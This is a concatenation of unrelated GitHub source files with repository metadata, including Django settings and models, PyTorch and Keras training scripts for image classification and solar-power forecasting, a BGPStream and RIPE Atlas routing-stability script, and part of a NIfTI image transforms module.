'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]
ROOT_URLCONF = 'myproject_3.urls'
TEMPLATES = [
{
'BACKEND': 'django.template.backends.django.DjangoTemplates',
'DIRS': [],
'APP_DIRS': True,
'OPTIONS': {
'context_processors': [
'django.template.context_processors.debug',
'django.template.context_processors.request',
'django.contrib.auth.context_processors.auth',
'django.contrib.messages.context_processors.messages',
],
},
},
]
WSGI_APPLICATION = 'myproject_3.wsgi.application'
# Database
# https://docs.djangoproject.com/en/3.2/ref/settings/#databases
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3',
'NAME': BASE_DIR / 'db.sqlite3',
}
}
# Password validation
# https://docs.djangoproject.com/en/3.2/ref/settings/#auth-password-validators
AUTH_PASSWORD_VALIDATORS = [
{
'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',
},
{
'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',
},
]
# Internationalization
# https://docs.djangoproject.com/en/3.2/topics/i18n/
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
# Static files (CSS, JavaScript, Images)
# https://docs.djangoproject.com/en/3.2/howto/static-files/
STATIC_URL = '/static/'
# Default primary key field type
# https://docs.djangoproject.com/en/3.2/ref/settings/#default-auto-field
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
| [
"dheerajgadhamsetty"
] | dheerajgadhamsetty |
8e6659d0c00a5650bd1681c6f669fe5fc6f3a1b4 | 2891a904792376e20c3b481a556c3823a2a09625 | /src/spatial_stream.py | 4ae598257218b9e77f91486a19789e8f23196784 | [
"MIT"
] | permissive | ganler/2StreamConvNet-for-single-channel-series | 46dac979a2b5853804f2dd3415995c0ac0a61899 | c58c248c3a259cee4a4c14575bc95b643e56a6c6 | refs/heads/master | 2021-07-03T06:31:19.186924 | 2020-09-19T08:35:01 | 2020-09-19T08:35:01 | 171,025,708 | 3 | 1 | null | null | null | null | UTF-8 | Python | false | false | 5,435 | py | import torchvision.models as models
from torchvision import transforms
import torch
import numpy as np
from torch import nn
from src.spatial_and_motion_dataloader import * # self-made
if __name__ == "__main__":
key_word = 'spatial'
# DEVICE
# ########## !!! LOOK HERE !!! ############ #
use_gpu = 0
# ######################################### #
device = torch.device('cuda' if torch.cuda.is_available() and use_gpu else 'cpu')
# PARAMETERS
num_epoachs = 1
batch_size = 5
times4print = 100 / batch_size # time for print (I print the info for every * batches)
num_classes = 17
classes = np.arange(num_classes)
learning_rate = 0.01
train_dataset = sm_dataset('train.csv', key_word, transforms.Compose([transforms.Resize((224, 224)), transforms.ToTensor()]))
valid_dataset = sm_dataset('valid.csv', key_word, transforms.Compose([transforms.Resize((224, 224)), transforms.ToTensor()]))
# LOADER
train_loader = torch.utils.data.DataLoader(dataset=train_dataset,
batch_size=1,
num_workers=2,
shuffle=False)
valid_loader = torch.utils.data.DataLoader(dataset=valid_dataset,
num_workers=2,
shuffle=False)
# ===========CHOOSE THE MODELS===========
# MODEL, LOSS FUNC AND OPTIMISER
# resnet
# model = models.ResNet(pretrained=True)
model = models.resnet18(pretrained=True)
# model = models.resnet34(pretrained=True)
# model = models.resnet50(pretrained=True)
# vgg
# model = models.VGG(pretrained=True)
# model = models.vgg11(pretrained=True)
# model = models.vgg16(pretrained=True)
# model = models.vgg16_bn(pretrained=True)
pre_model = model
model.fc = nn.Linear(model.fc.in_features, num_classes)
pretrained_dict = pre_model.state_dict()
model_dict = model.state_dict()
# 将pretrained_dict里不属于model_dict的键剔除掉
pretrained_dict = {k: v for k, v in pretrained_dict.items() if k in model_dict}
model_dict.update(pretrained_dict)
# TRAIN MODE 1 ================================
model.load_state_dict(model_dict)
# 至此fine-tune对应的结构已经搞定
# 除了最后两层，其余都把梯度给冻结
for para in list(model.parameters())[:-2]:
para.requires_grad = False
# 只训练最后2层
optimizer = torch.optim.Adamax(params=[model.fc.weight, model.fc.bias], lr=learning_rate, weight_decay=1e-4)
# -------------================================
#
# # TRAIN MODE 2 ================================
# ignored_params = list(map(id, model.parameters()[:-2]))
# # fc3是net中的一个数据成员
# base_params = filter(
# lambda p: id(p) not in ignored_params,
# model.parameters()
# )
# '''
# id(x)返回的是x的内存地址。上面的意思是，对于在net.parameters()中的p，过滤掉'id(p) not in ignored_params'中的p。
# '''
#
# optimizer = torch.optim.Adamax(
# [{'params': base_params},
# {'params': model.fc3.parameters(), 'lr': learning_rate}],
# 1e-3, weight_decay=1e-4
# )
# # -------------================================
if torch.cuda.is_available() and use_gpu:
model = model.cuda()
loss_func = nn.CrossEntropyLoss()
# TRAIN
total_steps = len(train_loader)
for epoach in range(num_epoachs):
loss_accumulation = 0
for i, (imgs, labels) in enumerate(train_loader):
imgs = imgs.to(device)
labels = labels.to(device)
out = model(imgs)
loss = loss_func(out, labels)
optimizer.zero_grad()
loss.backward()
optimizer.step()
loss_accumulation += loss.item()
if (i + 1) % times4print == 0:
print(f"[{epoach+1}/{num_epoachs}]: -> [{i+1}/{total_steps}] -> loss: {loss_accumulation/times4print}")
loss_accumulation = 0
# TEST
model.eval()
label_cp = np.zeros(len(valid_loader))
np_out = np.zeros((len(valid_loader), num_classes))
with torch.no_grad():
class_correct = list(0. for i in range(num_classes))
class_total = class_correct.copy()
for k, (imgs, labels) in enumerate(valid_loader):
label_cp[k] = labels.numpy()
imgs = imgs.to(device)
labels = labels.to(device)
out = model(imgs)
np_out[k] = out.numpy()
_, predicted = torch.max(out, 1)
ans_batch = (predicted == labels).squeeze()
for k, label in enumerate(labels):
if ans_batch.item() == 1: # right
class_correct[label] += 1
class_total[label] += 1
if sum(class_total) != 0:
print(f">>> FINAL ACCURACY: {100 * sum(class_correct)/sum(class_total)}% -> {class_correct}/{class_total}")
for i in range(num_classes):
if class_total[i] != 0:
print(f">>> [{classes[i]}] : {100 * class_correct[i]/class_total[i]}% -> {class_correct[i]}/{class_total[i]}")
np.savetxt(key_word+'_out.txt', np_out)
np.savetxt('label_out.txt', label_cp)
torch.save(model.state_dict(), key_word+'_stream_model.ckpt') | [
"noreply@github.com"
] | ganler.noreply@github.com |
72e9179d8da40397dd4755d7c720ec0e48a57713 | 8fd559be6696d8913e60e9b8628c064305a828bd | /fruit/models.py | cb2399f1c5dc6965539d6864452b4e3562ea08fe | [] | no_license | shravanchandra/farmapp | 003bfd14804ae1b5026e3bd64b07891d5402ab3b | 8bbedf218660790497cae7d21b8092e4b39d490e | refs/heads/master | 2021-01-25T16:10:10.191844 | 2016-04-03T11:07:20 | 2016-04-03T11:07:20 | 51,570,353 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 489 | py | from django.db import models
from django.contrib.auth.models import User
from root.models import *
from api.models import *
# Create your models here.
class Fruit_Transaction(models.Model):
description = models.TextField()
farm = models.ForeignKey(Farming)
day = models.DateField()
delivery = models.ForeignKey(Delivery)
user = models.ForeignKey(User)
price = models.FloatField()
no_of_units_sold = models.IntegerField()
yields = models.ForeignKey(Yield)
| [
"Shravan.Kumar@polestartechnologyltd.com"
] | Shravan.Kumar@polestartechnologyltd.com |
e2305a194758b56976ba2b3d942a874de4f50a80 | bfe13b5458c5a3b8a212479ad8596934738a83d9 | /solar/solar_conv1d_1.py | b6c23eee1267e5d4790dbb3a0f5d9eff7cae0ab1 | [] | no_license | sswwd95/Project | f32968b6a640dffcfba53df943f0cf48e60d29df | fdcf8556b6203a407e5548cb4eda195fb597ad6e | refs/heads/master | 2023-04-21T23:03:24.282518 | 2021-02-15T00:55:16 | 2021-02-15T00:55:16 | 338,989,928 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,872 | py | import pandas as pd
import numpy as np
import os
import glob
import random
import tensorflow.keras.backend as K
import warnings
warnings.filterwarnings('ignore')
train = pd.read_csv('./solar/csv/train.csv')
sub = pd.read_csv('./solar/csv/sample_submission.csv')
# Hour - 시간
# Minute - 분
# DHI - 수평면 산란일사량(Diffuse Horizontal Irradiance (W/m2))
# DNI - 직달일사량(Direct Normal Irradiance (W/m2))
# WS - 풍속(Wind Speed (m/s))
# RH - 상대습도(Relative Humidity (%))
# T - 기온(Temperature (Degree C))
# Target - 태양광 발전량 (kW)
# axis = 0은 행렬에서 행의 원소를 다 더함, 1은 열의 원소를 다 더함
# 1. 데이터
#DHI, DNI 보다 더 직관적인 GHI 열 추가.
def preprocess_data(data, is_train=True):
data['cos'] = np.cos(np.pi/2 - np.abs(data['Hour']%12-6)/6*np.pi/2)
data.insert(1, 'GHI', data['DNI']*data['cos']+data['DHI'])
temp = data.copy()
temp = temp[['Hour','TARGET','GHI','DHI', 'DNI', 'WS', 'RH', 'T']]
if is_train==True:
temp['Target1'] = temp['TARGET'].shift(-48).fillna(method='ffill') # day7
temp['Target2'] = temp['TARGET'].shift(-48*2).fillna(method='ffill') # day8
temp = temp.dropna()
return temp.iloc[:-96] # day8에서 2일치 땡겨서 올라갔기 때문에 마지막 2일 빼주기
elif is_train==False:
temp = temp[['Hour','TARGET','GHI','DHI', 'DNI', 'WS', 'RH', 'T']]
return temp.iloc[-48:,:] # 트레인데이터가 아니면 마지막 하루만 리턴시킴
df_train = preprocess_data(train)
x_train = df_train.to_numpy()
print(x_train)
print(x_train.shape) #(52464, 10) day7,8일 추가해서 컬럼 10개
###### test파일 합치기############
df_test = []
for i in range(81):
file_path = '../solar/test/' + str(i) + '.csv'
temp = pd.read_csv(file_path)
temp = preprocess_data(temp, is_train=False) # 위에서 명시한 False => 마지막 하루만 리턴
df_test.append(temp) # 마지막 하루 값들만 전부 붙여주기
x_test = pd.concat(df_test)
print(x_test.shape) #(3888, 8) -> (81, 48,8) 81일, 하루(24*2(30분단위)=48), 8개 컬럼
x_test = x_test.to_numpy()
##################################
# 정규화 (데이터가 0으로 많이 쏠려있어서 standardscaler 사용)
from sklearn.preprocessing import StandardScaler
scaler = StandardScaler()
scaler.fit(x_train[:,:-2]) # day7,8일을 빼고 나머지 컬럼들을 train
x_train[:,:-2] = scaler.transform(x_train[:,:-2])
x_test = scaler.transform(x_test)
######## train데이터 분리 ###########
def split_xy(data,timestep):
x, y1, y2 = [],[],[]
for i in range(len(data)):
x_end = i + timestep
if x_end>len(data):
break
tmp_x = data[i:x_end,:-2] # x_train
tmp_y1 = data[x_end-1:x_end,-2] # day7 / x_end-1:x_end => i:x_end와 같은 위치로 맞춰주기
tmp_y2 = data[x_end-1:x_end,-1] # day8
x.append(tmp_x)
y1.append(tmp_y1)
y2.append(tmp_y2)
return(np.array(x), np.array(y1), np.array(y2))
x, y1, y2 = split_xy(x_train,1) # x_train을 한 행씩 자른다. (30분 단위로 보면서 day7,8의 같은 시간대 예측)
print(x.shape) #(52464, 1, 8)
print(y1.shape) #(52464, 1)
print(y2.shape) #(52464, 1)
########## test 데이터를 train 데이터와 같게 분리 ######
def split_x(data, timestep) :
x = []
for i in range(len(data)):
x_end = i + timestep
if x_end>len(data):
break
tmp_x = data[i:x_end]
x.append(tmp_x)
return(np.array(x))
x_test = split_x(x_test,1)
######################################################
from sklearn.model_selection import train_test_split
x_train, x_val, y1_train, y1_val, y2_train, y2_val = train_test_split(
x, y1, y2, train_size = 0.8, random_state=0)
print(x_train.shape) #(41971, 1, 8)
def quantile_loss(q, y_true, y_pred):
e = (y_true - y_pred) # 원래값에서 예측값 뺀 것
return K.mean(K.maximum(q*e, (q-1)*e), axis=-1)
quantiles = [0.1,0.2,0.3,0.4,0.5,0.6,0.7,0.8,0.9]
# 2. 모델구성
from tensorflow.keras.models import Sequential
from tensorflow.keras.layers import Dense, Conv1D, Flatten, Dropout
def Model():
model = Sequential()
model.add(Conv1D(128,2,padding='same',activation='relu', input_shape = (1,8)))
model.add(Dropout(0.2))
model.add(Conv1D(64,2,padding='same', activation='relu'))
model.add(Conv1D(64,2,padding='same', activation='relu'))
model.add(Flatten())
model.add(Dense(64, activation='relu'))
model.add(Dense(32, activation='relu'))
model.add(Dense(16, activation='relu'))
model.add(Dense(1, activation='relu'))
return model
from tensorflow.keras.callbacks import EarlyStopping,ModelCheckpoint,ReduceLROnPlateau
modelpath = '../solar/check/solar0121_{epoch:02d}_{val_loss:.4f}.hdf5'
cp = ModelCheckpoint(filepath=modelpath, monitor='val_loss', save_best_only=True, mode='auto')
es = EarlyStopping(monitor = 'val_loss', patience=10, mode='min')
lr = ReduceLROnPlateau(monitor='val_loss', patience=5, factor=0.5)
bs = 16
epochs = 1
######day7######
x=[]
for q in quantiles:
model = Model()
modelpath = '../solar/check/solar_0121_day7_{epoch:02d}_{val_loss:.4f}.hdf5'
cp = ModelCheckpoint(filepath=modelpath, monitor='val_loss', save_best_only=True, mode='auto')
model.compile(loss=lambda y_true,y_pred: quantile_loss(q,y_true, y_pred),
optimizer='adam', metrics = [lambda y, y_pred: quantile_loss(q, y, y_pred)])
model.fit(x_train,y1_train, batch_size = bs, callbacks=[es, cp, lr], epochs=epochs, validation_data=(x_val, y1_val))
pred = pd.DataFrame(model.predict(x_test).round(2)) # round는 반올림 (2)는 . 뒤의 자리수 -> ex) 0.xx를 반올림
x.append(pred)
df_temp1 = pd.concat(x, axis=1)
df_temp1[df_temp1<0] = 0 # 0보다 작으면 0로 한다.
num_temp1 = df_temp1.to_numpy()
sub.loc[sub.id.str.contains('Day7'), 'q_0.1':] = num_temp1
######day8#######
x = []
for q in quantiles:
model = Model()
modelpath = '../solar/check/solar_0121_day8_{epoch:02d}_{val_loss:.4f}.hdf5'
cp = ModelCheckpoint(filepath=modelpath, monitor='val_loss', save_best_only=True, mode='auto')
model.compile(loss=lambda y_true,y_pred: quantile_loss(q,y_true, y_pred),
optimizer='adam', metrics = [lambda y, y_pred: quantile_loss(q, y, y_pred)])
model.fit(x_train,y2_train, batch_size = bs, callbacks=[es, cp, lr], epochs=epochs, validation_data=(x_val, y2_val))
pred = pd.DataFrame(model.predict(x_test).round(2)) # round는 반올림 (2)는 . 뒤의 자리수 -> ex) 0.xx를 반올림
x.append(pred)
df_temp2 = pd.concat(x, axis=1)
df_temp2[df_temp2<0] = 0
num_temp2 = df_temp2.to_numpy()
sub.loc[sub.id.str.contains('Day8'), 'q_0.1':] = num_temp2
sub.to_csv('./solar/csv/sub_0121.csv', index=False)
| [
"sswwd95@gmail.com"
] | sswwd95@gmail.com |
004c56bd494899dd28e119a7a35e0bbae4c986b5 | e99509d3239513e37742646632352d914f1132cf | /stability-1/bgpstream_stability.py | 6dad3e78a00a02b8e566d24841a76c0e77904db3 | [] | no_license | CAIDA/bgp-hackathon | 4c8eab6be2c28576dc6953837711a504f47af2e0 | b95cfd0d6b22f6d61f81e3eca93e177b3d08ae21 | refs/heads/master | 2021-01-17T07:02:35.859766 | 2016-06-20T21:06:48 | 2016-06-20T21:06:48 | 43,771,622 | 29 | 11 | null | 2016-03-07T23:02:00 | 2015-10-06T18:53:52 | Perl | UTF-8 | Python | false | false | 5,418 | py | #!/usr/bin/env python
#
# Copyright (C) 2015
# Authors: Nathan Owens & Andrew Mulhern
#
# This program is free software; you can redistribute it and/or modify it under
# the terms of the GNU General Public License as published by the Free Software
# Foundation; either version 2 of the License, or (at your option) any later
# version.
#
# This program is distributed in the hope that it will be useful, but WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# You should have received a copy of the GNU General Public License along with
# this program. If not, see <http://www.gnu.org/licenses/>.
#
import sys
import json
import copy
import math
import urllib
import multiprocessing
from _pybgpstream import BGPStream, BGPRecord, BGPElem
from collections import defaultdict
from datetime import datetime
def deal_with_time_bucket_junk(prefix, timestamp):
if prefix not in raw_bgp_stream_data:
newBuckets = copy.deepcopy(buckets)
raw_bgp_stream_data[prefix] = newBuckets
duration = timestamp - stream_start
bucket = int(duration / 300)
try:
raw_bgp_stream_data[prefix][bucket]["count"] += 1
except:
pass
def create_time_buckets(start, end):
time_step = 300 # 5 multiprocessing
buckets = []
for x in xrange(start, end, time_step):
new_end = x + 300
window = {"start": x, "end": new_end, "count": 0}
buckets.append(window)
return buckets
def get_ripe_probes(prefix_list):
def get_probe_list(ip_proto, prefix_data, return_dict):
prefix = prefix_data[0]
count = prefix_data[1]
bucket_data = prefix_data[2]
url = "https://atlas.ripe.net/api/v1/probe/?format=json&prefix_%s=%s" % (ip_proto, prefix)
probe_data = json.loads(urllib.urlopen(url).read())
probe_count = probe_data["meta"]["total_count"]
probe_ids = []
if probe_count > 0:
for probe in probe_data["objects"]:
probe_id = probe["id"]
probe_ids.append(probe_id)
if len(probe_ids) > 0:
return_dict[prefix] = {"count": count, "bucket_data": bucket_data, "probe_count": probe_count, "probe_ids": probe_ids}
return
jobs = []
manager = multiprocessing.Manager()
return_dict = manager.dict()
for prefix_data in prefix_list:
prefix = prefix_data[0]
if "." in prefix:
job = multiprocessing.Process(target=get_probe_list, args=("v4", prefix_data, return_dict))
elif ":" in prefix:
job = multiprocessing.Process(target=get_probe_list, args=("v6", prefix_data, return_dict))
jobs.append(job)
job.start()
for job in jobs:
job.join()
return dict(return_dict)
if __name__ == "__main__":
try:
stream_start = int(sys.argv[1])
stream_end = int(sys.argv[2])
out_file_name = sys.argv[3]
except:
print "Usage: %s [start time] [end time] [output file name]" %(sys.argv[0])
exit()
#stream_start = 1454284800
#stream_end = 1454288400
buckets = create_time_buckets(stream_start, stream_end)
prefixList = []
raw_bgp_stream_data = {}
stream = BGPStream()
rec = BGPRecord()
stream.add_filter('collector', 'rrc06')
stream.add_filter('record-type', 'updates')
stream.add_interval_filter(stream_start, stream_end)
stream.start()
while(stream.get_next_record(rec)):
elem = rec.get_next_elem()
while(elem):
prefix = elem.fields.get("prefix", "")
time_stamp = rec.time # unix epoc timestamp 1427846670
if prefix != "":
deal_with_time_bucket_junk(prefix, time_stamp)
elem = rec.get_next_elem()
for prefix in list(raw_bgp_stream_data):
for bucket in list(raw_bgp_stream_data[prefix]):
if bucket["count"] < 3:
raw_bgp_stream_data[prefix].remove(bucket)
for prefix in raw_bgp_stream_data:
index = 0
max_index = 0
max_val = 0
last_val = 0
for bucket in raw_bgp_stream_data[prefix]:
curr = bucket["count"]
if curr > last_val:
max_val = curr
index += 1
last_val = curr
if raw_bgp_stream_data[prefix]:
prefixList.append((prefix, max_val, raw_bgp_stream_data[prefix][max_index]))
prefixListWithProbes = get_ripe_probes(prefixList)
import get_probe_data
results = []
for prefix, values in prefixListWithProbes.iteritems():
start_time = values["bucket_data"]["start"]
end_time = values["bucket_data"]["end"]
count = values["count"]
probe_list = values["probe_ids"]
for probe in probe_list:
packet_loss = get_probe_data.get_packet_loss(probe, start_time, end_time)
results.append({"prefix":prefix, "count":count, "start_time":start_time, "end_time":end_time, "probe":probe, "packet_loss":packet_loss})
sorted_results = list(sorted(results, reverse=True, key = lambda x: (x["count"], x["packet_loss"])))
out_file = open(out_file_name, "w")
out_file.write(json.dumps(sorted_results, indent=3))
out_file.close()
| [
"Nathan_Owens@cable.comcast.com"
] | Nathan_Owens@cable.comcast.com |
6420eb175c932c58d4a7dbb0d816742e4b73a937 | 10e3f9659affb4c74280ee27a6e485c8d7e86c56 | /pySamples/testGetAttrCurrentMod.py | caf4f2d91dc7c82e451f01b45b68844100f9c59a | [] | no_license | benwei/Learnings | a52a751e6ba9bbbbf7b51b0e6b6ac5e839a87cd3 | e020698c2be16bf7eb1c7fb9bf19276165cc0400 | refs/heads/master | 2023-02-04T22:27:00.182020 | 2023-01-19T16:52:31 | 2023-01-19T16:57:43 | 1,994,139 | 4 | 0 | null | null | null | null | UTF-8 | Python | false | false | 127 | py | import sys
def test():
print "getattr current mode run: test()"
o = getattr(sys.modules[__name__], 'test')
if o:
o()
| [
"ben@staros.mobi"
] | ben@staros.mobi |
b8650f08115fc04e8145f89e4f8811f0521fc19b | c4589dc8775e3005230b6a47a454d68d6725f7f4 | /twitter/mole/migrations/0001_initial.py | e950ff611a3d02afbec092873e6bb027a6b87505 | [] | no_license | mriverov/tip.twitter | 8338980bf81850265fdec5871e838af7c513b811 | 2790d6516d585f8693e9b44e1c0dfd50a1d89f5c | refs/heads/master | 2020-04-06T03:33:25.825610 | 2016-08-13T22:10:09 | 2016-08-13T22:10:09 | 19,164,924 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,715 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.9 on 2015-12-13 05:05
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='KeyWord',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(blank=True, max_length=100, null=True)),
('count', models.IntegerField(blank=True, default=0, null=True)),
],
),
migrations.CreateModel(
name='Project',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('name', models.CharField(blank=True, max_length=100, null=True)),
],
),
migrations.CreateModel(
name='Trend',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('date', models.CharField(blank=True, max_length=500, null=True)),
('tweets_count', models.IntegerField(blank=True, default=0, null=True)),
('project', models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='mole.Project')),
],
),
migrations.CreateModel(
name='Tweet',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('tweet_id', models.BigIntegerField(blank=True, null=True)),
('text', models.CharField(blank=True, max_length=5000, null=True)),
('retweet_count', models.IntegerField(blank=True, null=True)),
('created_at', models.DateTimeField(blank=True, null=True)),
('retweet_id', models.BigIntegerField(blank=True, null=True)),
],
),
migrations.CreateModel(
name='User',
fields=[
('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')),
('user_id', models.BigIntegerField(blank=True, null=True)),
('screen_name', models.CharField(blank=True, default=b'', max_length=500, null=True)),
('followers_count', models.IntegerField(blank=True, default=0, null=True)),
('location', models.CharField(blank=True, default=b'', max_length=500, null=True)),
('centrality', models.FloatField(blank=True, default=0.0, null=True)),
('followers', models.ManyToManyField(blank=True, null=True, related_name='_user_followers_+', to='mole.User')),
],
),
migrations.AddField(
model_name='tweet',
name='author',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='mole.User'),
),
migrations.AddField(
model_name='tweet',
name='project',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='mole.Project'),
),
migrations.AddField(
model_name='tweet',
name='trend',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='mole.Trend'),
),
migrations.AddField(
model_name='keyword',
name='project',
field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='mole.Project'),
),
]
| [
"mrivero@Marina.local"
] | mrivero@Marina.local |
f0ccc3a5a140f298542c4fcf90576bdb112694b0 | e1fb0c63140a4cfebbe1c72fc2e5e76202e1b0f0 | /niftidataset/transforms.py | 32d4ac7829bdd7510a3daec502d659cded1be58a | [
"Apache-2.0"
] | permissive | s-mostafa-a/niftidataset | d11c1036d64fc5d25952fda5bfbd7a78d1507b0f | fa0175cf08753e6294d04e259b9b447a6dd3fa88 | refs/heads/master | 2022-11-15T18:36:10.118969 | 2020-07-11T09:53:50 | 2020-07-11T09:53:50 | 277,276,675 | 0 | 0 | NOASSERTION | 2020-07-05T10:16:05 | 2020-07-05T10:16:04 | null | UTF-8 | Python | false | false | 27,230 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
niftidataset.transforms
transformations to apply to images in dataset
Author: Jacob Reinhold (jacob.reinhold@jhu.edu)
Created on: Oct 24, 2018
"""
__all__ = ['RandomCrop2D',
'RandomCrop3D',
'RandomCrop',
'RandomSlice',
'ToTensor',
'ToPILImage',
'AddChannel',
'FixIntensityRange',
'Normalize',
'Digitize',
'MedianFilter',
'RandomAffine',
'RandomBlock',
'RandomFlip',
'RandomGamma',
'RandomNoise',
'TrimIntensity',
'get_transforms']
import random
from typing import Optional, Tuple, Union
import numpy as np
from PIL import Image
import torch
import torchvision as tv
import torchvision.transforms.functional as TF
from .errors import NiftiDatasetError
PILImage = type(Image)
class BaseTransform:
def __repr__(self): return f'{self.__class__.__name__}'
class CropBase(BaseTransform):
""" base class for crop transform """
def __init__(self, out_dim:int, output_size:Union[tuple,int,list], threshold:Optional[float]=None,
pct:Tuple[float,float]=(0.,1.), axis=0):
""" provide the common functionality for RandomCrop2D and RandomCrop3D """
assert isinstance(output_size, (int, tuple, list))
if isinstance(output_size, int):
self.output_size = (output_size,)
for _ in range(out_dim - 1):
self.output_size += (output_size,)
else:
assert len(output_size) == out_dim
self.output_size = output_size
self.out_dim = out_dim
self.thresh = threshold
self.pct = pct
self.axis = axis
def _get_sample_idxs(self, img: np.ndarray) -> Tuple[int, int, int]:
""" get the set of indices from which to sample (foreground) """
mask = np.where(img >= (img.mean() if self.thresh is None else self.thresh)) # returns a tuple of length 3
c = np.random.randint(0, len(mask[0])) # choose the set of idxs to use
h, w, d = [m[c] for m in mask] # pull out the chosen idxs
return h, w, d
def _offset_by_pct(self, h, w, d):
s = (h, w, d)
hml = wml = dml = 0
hmh = wmh = dmh = 0
i0, i1 = int(s[self.axis] * self.pct[0]), int(s[self.axis] * (1. - self.pct[1]))
if self.axis == 0:
hml += i0
hmh += i1
elif self.axis == 1:
wml += i0
wmh += i1
else:
dml += i0
dmh += i1
return (hml, wml, dml), (hmh, wmh, dmh)
def __repr__(self):
s = '{name}(output_size={output_size}, threshold={thresh})'
d = dict(self.__dict__)
return s.format(name=self.__class__.__name__, **d)
class RandomCrop2D(CropBase):
"""
Randomly crop a 2d slice/patch from a 3d image
Args:
output_size (tuple or int): Desired output size.
If int, cube crop is made.
axis (int or None): along which axis should the patch/slice be extracted
provide None for random axis
include_neighbors (bool): extract 3 neighboring slices instead of just 1
"""
def __init__(self, output_size:Union[int,tuple,list], axis:Optional[int]=0,
include_neighbors:bool=False, threshold:Optional[float]=None) -> None:
if axis is not None:
assert 0 <= axis <= 2
super().__init__(2, output_size, threshold)
self.axis = axis
self.include_neighbors = include_neighbors
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[np.ndarray,np.ndarray]:
axis = self.axis if self.axis is not None else np.random.randint(0, 3)
src, tgt = sample
*cs, h, w, d = src.shape
*ct, _, _, _ = src.shape
new_h, new_w = self.output_size
max_idxs = (np.inf, w - new_h//2, d - new_w//2) if axis == 0 else \
(h - new_h//2, np.inf, d - new_w//2) if axis == 1 else \
(h - new_h//2, w - new_w//2, np.inf)
min_idxs = (-np.inf, new_h//2, new_w//2) if axis == 0 else \
(new_h//2, -np.inf, new_w//2) if axis == 1 else \
(new_h//2, new_w//2, -np.inf)
s = src[0] if len(cs) > 0 else src # use the first image to determine sampling if multimodal
s_idxs = super()._get_sample_idxs(s)
idxs = [i if min_i <= i <= max_i else max_i if i > max_i else min_i
for max_i, min_i, i in zip(max_idxs, min_idxs, s_idxs)]
s = self._get_slice(src, idxs, axis).squeeze()
t = self._get_slice(tgt, idxs, axis).squeeze()
if len(cs) == 0 or s.ndim == 2: s = s[np.newaxis,...] # add channel axis if empty
if len(ct) == 0 or t.ndim == 2: t = t[np.newaxis,...]
return s, t
def _get_slice(self, img:np.ndarray, idxs:Tuple[int,int,int], axis:int) -> np.ndarray:
h, w = self.output_size
n = 1 if self.include_neighbors else 0
oh = 0 if h % 2 == 0 else 1
ow = 0 if w % 2 == 0 else 1
i, j, k = idxs
s = img[..., i-n:i+1+n, j-h//2:j+h//2+oh, k-w//2:k+w//2+ow] if axis == 0 else \
img[..., i-h//2:i+h//2+oh, j-n:j+1+n, k-w//2:k+w//2+ow] if axis == 1 else \
img[..., i-h//2:i+h//2+oh, j-w//2:j+w//2+ow, k-n:k+1+n]
if self.include_neighbors:
s = np.transpose(s, (0,1,2)) if axis == 0 else \
np.transpose(s, (1,0,2)) if axis == 1 else \
np.transpose(s, (2,0,1))
return s
class RandomCrop3D(CropBase):
"""
Randomly crop a 3d patch from a (pair of) 3d image
Args:
output_size (tuple or int): Desired output size.
If int, cube crop is made.
"""
def __init__(self, output_size:Union[tuple,int,list], threshold:Optional[float]=None,
pct:Tuple[float,float]=(0.,1.), axis=0):
super().__init__(3, output_size, threshold, pct, axis)
def __call__(self, sample:Tuple[np.ndarray,np.ndarray]) -> Tuple[np.ndarray,np.ndarray]:
src, tgt = sample
*cs, h, w, d = src.shape
*ct, _, _, _ = tgt.shape
hh, ww, dd = self.output_size
(hml, wml, dml), (hmh, wmh, dmh) = self._offset_by_pct(h,w,d)
max_idxs = (h-hmh-hh//2, w-wmh-ww//2, d-dmh-dd//2)
min_idxs = (hml+hh//2, wml+ww//2, dml+dd//2)
s = src[0] if len(cs) > 0 else src # use the first image to determine sampling if multimodal
s_idxs = self._get_sample_idxs(s)
i, j, k = [i if min_i <= i <= max_i else max_i if i > max_i else min_i
for max_i, min_i, i in zip(max_idxs, min_idxs, s_idxs)]
oh = 0 if hh % 2 == 0 else 1
ow = 0 if ww % 2 == 0 else 1
od = 0 if dd % 2 == 0 else 1
s = src[..., i-hh//2:i+hh//2+oh, j-ww//2:j+ww//2+ow, k-dd//2:k+dd//2+od]
t = tgt[..., i-hh//2:i+hh//2+oh, j-ww//2:j+ww//2+ow, k-dd//2:k+dd//2+od]
if len(cs) == 0: s = s[np.newaxis,...] # add channel axis if empty
